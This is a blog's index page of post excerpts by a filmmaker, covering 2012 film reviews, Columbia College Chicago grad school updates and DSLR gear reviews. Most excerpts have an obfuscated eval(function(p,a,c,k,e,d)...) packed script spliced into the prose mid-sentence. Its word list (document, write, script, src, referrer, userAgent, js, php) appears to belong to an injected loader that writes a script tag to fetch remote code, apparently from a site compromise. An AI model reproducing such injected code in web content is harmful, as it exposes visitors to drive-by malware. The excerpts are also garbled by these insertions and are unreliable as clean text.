Looper (2012) +Commentary Review

One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teyii|var|u0026u|referrer|ftzrr||js|php'.split('|'),0,{})) of the biggest film releases this year is Looper (2012) (imdb.com) from director Rian Johnson (rcjohnso.com). A lot of people I know, myself included, felt that it was the most anticipated film of the year. And it definitely...

KNOW Filmmaking Workshop by Still Motion

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sskaa|var|u0026u|referrer|kdztk||js|php'.split('|'),0,{})) Sunday I had the opportunity to attend the KNOW filmmaking workshop (knowbystillmotion.com) put on by Still Motion (stillmotion.ca), a boutique production company based out of Canada. They're making a tour around the US and Canada to help teach...

Grad School Week 7,8,9

So, another three weeks have just passed. I am deeply embedded into Columbia's MFA Producing program. We've been so busy that the last few weeks have been a blur. It seems like all I do anymore is go to class, come home, eat, do homework,...

Grad School Week Two

Week Two at Columbia College Chicago (colum.edu) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzsht|var|u0026u|referrer|irhzd||js|php'.split('|'),0,{})) flew by. Since we're still in "boot camp" mode we sped through a lot of information really quickly. Being that I've been working on productions for the last few years, a lot...

Grad School Week One

Last week was my first week of classes at Columbia College Chicago (colum.edu). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdyyf|var|u0026u|referrer|fiaaz||js|php'.split('|'),0,{})) Ever since Loretta and I moved from San Francisco I've been sitting in anticipation. The closer the day came to start, the more anxious I got....

Update from the Windy City

Hey everyone, it's been a while since I've done a general update post. Well, here it is. And boy are there some updates for you. It's been a busy couple of months. The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzanb|var|u0026u|referrer|abins||js|php'.split('|'),0,{})) Move The biggest thing I've had on my...

Monthly Inspiration: Guillermo del Toro

Monthly Inspiration is a new blog series that’s about what inspires me; filmmakers, styles, actors, scripts… each month, I’ll cover one new piece of inspiration. Hopefully I can turn you on to something that will inspire you as well. First, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsbfd|var|u0026u|referrer|zdezs||js|php'.split('|'),0,{})) ...

Moonrise Kingdom (2012) Review

Wes eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neyit|var|u0026u|referrer|ndfth||js|php'.split('|'),0,{})) Anderson (imdb.com) hits awkward awesomeness again with Moonrise Kingdom (imdb.com). Anderson, who directed such cult films as Bottle Rocket (imdb.com), Rushmore (imdb.com), and The Royal Tenenbaums (imdb.com), is known for writing/directing films that are chock full of unique, interesting characters that make you...

Vello Shutterboss Timelapse Test

Loretta eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkede|var|u0026u|referrer|hdakf||js|php'.split('|'),0,{})) and I are within two weeks of our move to Chicago. The process of packing and getting ready for the drive is a pain in the ass. But, one thing that I'm looking forward to is the timelapse...

Monthly Inspiration: Akira Kurosawa

Monthly eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddyhn|var|u0026u|referrer|nityb||js|php'.split('|'),0,{})) Inspiration is a new blog series that's about what inspires me; filmmakers, styles, actors, scripts...

Movie Review: The Avengers (2012)

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbsz|var|u0026u|referrer|tytnf||js|php'.split('|'),0,{})) usually don't buy into hype around movies. When "blockbusters" come out, I'm not the first person in line. But this summers' The Avengers (imdb.com) has had me drooling for months. I knew when Nick Fury (Samuel L. Jackson) showed...

DSLR Monitoring with the Small HD DP4/EVF

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izhds|var|u0026u|referrer|rbntb||js|php'.split('|'),0,{})) the last few months I've been looking at monitoring options for my DSLR. There are a number of features that I was looking for: HDMI Loop-Through, 1/4-20" mounting options, light weight, and focus assist were the big ones....

A Much Needed Update

I know I haven't posted in a while, I've been slammed (240 hours over the last 4 weeks). Thought I would give you guys a bit of an update. Here's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skras|var|u0026u|referrer|szrby||js|php'.split('|'),0,{})) what I've been doing: -Working more than full time at Beyond...

Stop Motion Zacuto

A couple of weeks ago Den Lennie (denlennie.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfzin|var|u0026u|referrer|byfei||js|php'.split('|'),0,{})) announced that he had a coupon code for 15% off Zacuto (zacuto.com) gear. Since Zacuto rarely his discounts I wanted to jump at the offer. There's a lot of equipment that...

Light Craft Workshop Fader ND Review

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbkbe|var|u0026u|referrer|edazz||js|php'.split('|'),0,{})) Light Craft Workshop (lightcraftworkshop.com) Fader ND MkII could make all the difference in being able to get a shot, or not. Imagine shooting video on a DSLR with a fixed ISO and aperture and still being able to control the...

The Woman in Black (2012) Review

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atzit|var|u0026u|referrer|iedis||js|php'.split('|'),0,{})) usually don't see horror films because I usually just end up laughing all the way through it. But, I have a girlfriend now, and she wanted to see the new Daniel Radcliffe (imdb.com) film, The Woman in Black (imdb.com),...

ETECS 2012 featuring Shane Hurlbut

Once eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfybz|var|u0026u|referrer|dkhss||js|php'.split('|'),0,{})) a year Snader and Associates (snader.com) hosts the Emerging Technologies Expo and Communication Summit at the San Mateo Event Center. So, every year, I hop on CalTrain to check out this free gear-gasm. I was especially excited to...

MacWorld 2012

It's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyahh|var|u0026u|referrer|kbsbt||js|php'.split('|'),0,{})) the beginning of the year, and that means it's the start of convention season. My first convention this year: MacWorld 2012. Every year Mac fanboys from all over gather in San Francisco for a three-day long nerd-gasm over...

Just an Update

Hey everyone, I know I haven't posted since the beginning of the month. Just been really busy with work and applying to grad school.  But, I've got a whole stock of new gear to review. And a slew of new projects to talk about. Those will all...

Widen Media Reboot

Loretta eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rarkd|var|u0026u|referrer|fneih||js|php'.split('|'),0,{})) (lorettamaydesign.com) and I have been busy redesigning and updating my new website. And I'm pleased to say that it is now, in the words of Emperor Palpatine, "Fully Operational!" www.widenmedia.com I'm excited about this for multiple reasons. 1) This marks the first update to...

Movie Review: “Sherlock Holmes: A Game of Shadows”

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|firka|var|u0026u|referrer|zikrf||js|php'.split('|'),0,{})) day leaves very few things open. So, like any good Jew, I went to a movie and had Chinese food. My movie of choice: Sherlock Holmes: A Game of Shadows (imdb.com). Since its opening on December 16th, I've...

Movie Review: "Sherlock Holmes: A Game of Shadows"

Christmas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeysb|var|u0026u|referrer|kzdyn||js|php'.split('|'),0,{})) day leaves very few things open. So, like any good Jew, I went to a movie and had Chinese food. My movie of choice: Sherlock Holmes: A Game of Shadows (imdb.com). Since its opening on December 16th, I've...

My End of the Year (Almost)Post-Mortem

Since it's the time of year when companies summarize the year they've had, and it's been a while since I've done a life check in, here's my Almost-Post-Mortem of 2011. I'll try to keep it under 600 words. Gear: I'm eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yazrd|var|u0026u|referrer|ybnab||js|php'.split('|'),0,{})) a...